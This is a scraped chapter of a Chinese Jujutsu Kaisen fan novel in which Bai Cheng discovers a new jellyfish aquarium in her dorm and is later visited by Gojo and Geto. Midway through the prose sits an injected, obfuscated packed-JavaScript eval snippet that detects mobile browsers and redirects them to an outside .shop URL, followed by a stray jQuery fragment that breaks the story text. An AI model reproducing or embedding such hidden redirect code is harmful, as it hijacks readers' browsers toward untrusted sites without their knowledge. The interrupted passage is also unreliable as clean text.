文趣网 > 其他小说 > [咒回]朋友间贴这么近正常吗 > 47.第四十七章
    午后的高专十分安静。

    阳光从走廊一侧照进来,将地板切成明暗相间的长条,窗外的树叶被风吹得缓慢翻动,枝叶摩擦发出沙沙的声音。

    白澄沿着走廊往自己房间的方向走,鞋落在地板上,发出规律的脚步声,整条走廊里只有她一个人,那声音便显得格外清楚。

    本来想和硝子一起回来,但是硝子那边段时间内结束不了,伤员太多。所以他们三个先回到了学校,刚到学校就立刻被叫去汇报任务经过。

    白澄原本也准备跟过去,但是五条悟按住她的脑袋,手掌抵着她的发顶,将她整个人向另一边转了过去。

    “你都弄成这副鬼样子了,还去听那群老头子念经。”五条悟直接把她往宿舍的方向推,“赶紧回去睡觉。”

    白澄觉得不是她鬼样子,她手脚能正常活动,眼下的伤口也被处理过,但是硝子实在太忙,辅助监督说暂时不要去打扰,而且她也不觉得疼,所以也还好。

    “我很正常。”白澄说。

    夏油杰站在旁边,没有像往常一样替白澄说话,只抬手将她制服领口的褶皱轻轻抚平,随后看了她片刻。

    “先休息吧。”他说。

    他们两个人显然都不准备让她跟过去。

    白澄想了一会儿,觉得自己也没必要非得参加,于是点了点头,独自回到了宿舍。

    脚步声停在门前。白澄握住门把手,往下压,推开门。

    一片幽蓝色的光顺着门缝流出来,越过门槛,沿着地面一直蔓延到她的鞋尖。

    白澄抬起头。

    一整面墙的玻璃水族箱立在房间中。半掩的窗帘挡住了外面的日光,水箱顶部的光穿过清透的水,将墙壁、地板和家具全部浸在一片柔和的水色中。

    水流顺着弧形的玻璃缓缓循环,细小的气泡在蓝光里接连不断地浮现,一路上升,在水面上轻盈破开。水波摇晃的光影映在天花板上,缓慢地流淌。

    去月影山庄之前,她跟夜蛾老师说过,她和五条悟订购的设备到了。水族箱很大,原本的房间放不下,想请他帮忙把书桌和柜子挪一下位置。

    她站在门外,看着明显宽敞了一倍的空间。夜蛾老师没有挪柜子,他直接把隔壁空房间的墙砸了。

    原本空置的房间与她的寝室完全打通,书桌和柜子被移到另一侧,床也换了位置,水族箱便安静地立在最里面,这蓝色的光将熟悉的东西都变得有些陌生。

    现在的房间很宽敞,门前没有任何障碍物,直接走进去就可以。

    但是白澄胸口却忽然出现了一点奇怪的感觉,像有什么柔软的东西在里面缓慢撑开,说不上疼,有些发涨。

    她抬起手,隔着衬衣按在心口上,手心传来的跳动和平时一样平稳。她又试着深吸了一口气,胸口一点也不疼。

    白澄不知道这是怎么回事,只好在心里把这种奇怪的反应记下来,然后迈开腿,走进了那片蓝色的光影里。

    往前走了几步,她的视线在水族箱里扫过,脚步一下子变快了。

    水里空荡荡的,她没看到自己的水母在哪里。

    白澄走到水箱中间,将脸靠近玻璃,手掌也跟着按了上去,沿着弧形的玻璃一寸寸寻找,目光掠过浅色沙石和水草,仍旧没有看见那团熟悉的半透明影子。

    白澄立刻转向水箱后方,查看设备和墙的缝隙,又蹲下来确认过滤口附近,在什么都没找到的情况下又站起来,沿着玻璃继续找。

    直到她走到最右侧的角落,才终于在水流最缓慢的位置看见了一团几乎完全融进蓝光里的影子。

    那只小水母贴着底部,细长的触须松松垮垮地垂在身下,淡蓝色的伞盖隔了很久才缓慢地收缩一下。它借着水流的推力微微上浮了一点,又轻飘飘地落回原处。

    白澄按在玻璃上的手指慢慢松开,原来它在睡觉。

    她去搬了一张小板凳,放在水族箱前,端端正正地坐下来,双手搭在膝盖上,安静地看着水里。

    似乎是感受到了水波的震动,角落里的小水母醒了。伞盖边缘泛起一圈极淡蓝光,柔软的身体开始有节奏地舒展、收缩。它拖着那些轻盈的触须,沿着玻璃内壁一点点往上游,在水流里转了一个圈,姿态舒缓。

    杰送的这只水母,在这里生活得很好。

    白澄抬起手臂,双手托腮。明天应该叫夏油杰过来看一看,五条同学也要来看看才行,这个水族箱还是他挑的呢。

    蓝色的水纹映在她的脸上,随着水波忽明忽暗,玻璃上浮出了她自己的影子。白澄看见眼下的纱布,目光停了一会儿,她又想起夏油杰说的话了。

    “至少这一次,我不觉得你应该这么做。”

    这一次是夏油杰切断了御目和信徒之间的联系,五条悟很强,把御目打得落花流水,所以他们等于是找到了别的办法救下了那些信徒。

    可如果他们不在呢?

    如果真的只剩下用她的眼睛换那些人活下来这一种办法,夏油杰还是会觉得她不应该那样做吗?

    白澄原本想问,可那时夏油杰看起来和平常有些不同。

    虽然她不太懂感情,但是她很熟悉夏油杰看向自己时候的样子,知道他会怎样弯起眼睛和她讲话,所以即使白澄看不出什么明显的差距,也能看出他心情不太好。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599771|203332||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    于是她把那些问题咽了回去。

    以前在十六夜家族,任务非常简单。咒灵是活捉还是袚除,周围的普通人要不要清理,遇到意外该往哪里撤退,都有人清清楚楚地告诉她。她只需要拔刀,照做。没有人教过她,如果没有指令,到底该怎么做。

    水族箱里的小水母忽然被水流推向一侧。

    它原本正在缓慢地舒展伞盖,身后的触须也安静地漂浮着,可一股急流卷过来,半透明的身体在蓝光里翻转了一下,便又被推向上方,细长的触须散乱地卷在一起,贴着水流向另一侧飘去。

    白澄立刻站起身,从水族箱旁拿起那本设备说明书。

    说明书里面画着过滤器和循环泵的结构,密密麻麻地标注着不同水母适合的水流强度,她翻到被夜蛾折起的一页,对照着设备上的旋钮,又低头确认水箱侧面的数值,将水流向下调低了一格。

    循环的声音随之轻了一些。

    刚才还在水中不断翻转的小水母缓慢停下来,透明的伞盖重新舒展,触须也一点点从水流中散开,随后轻轻收缩身体,终于依靠自己的力量向前游了一小段。

    白澄等到它沿着弧形的玻璃游过一圈,又依次确认了温度、灯光和过滤设备上的数值,才将说明书合起来,重新坐回板凳。

    说是回宿舍休息,但是她其实一点都不累。她也不知道为什么,就只是想坐在这里看这只水母游泳。看着它一张一合,这让她觉得十分有趣。

    窗外原本明亮的日光顺着墙壁缓慢平移,最终被半掩的窗帘挡在了外面。随着天色渐晚,水族箱里散发出的蓝色光影在房间里变得更加浓郁,水波的纹理在天花板上缓慢摇晃,像是一片真正的海,把那些家具连同白澄一起淹没在里面。

    笃、笃。

    两声敲门响起,将白澄从这一片蓝色中扯了出来,她眨了一下眼,还有点迷茫。

    门外的人又敲了一下。

    “白澄?”是杰的声音。

    白澄站起身,走过去拉开了房门。

    五条悟和夏油杰正站在门外。走廊尽头的夕阳已经落得很低了,暖金色的光从他们身后斜斜地照过来,将两道修长的影子一直投进门内。而寝室里幽蓝的水光则越过白澄的肩膀漫出去,迎面落在他们身上。

    那流动的蓝色沿着夏油杰的制服袖口缓慢攀上肩线,又映进五条悟散乱的短发间,把他原本就浅淡的白发衬得近乎透明。

    “终于说完了。”五条悟一只手随意地撑在门框上,说话时稍稍俯下身,过高的身量几乎将门口的光挡去大半,“那群老头子就同一句话翻过来倒过去地问,吵得我脑袋都要裂开了。”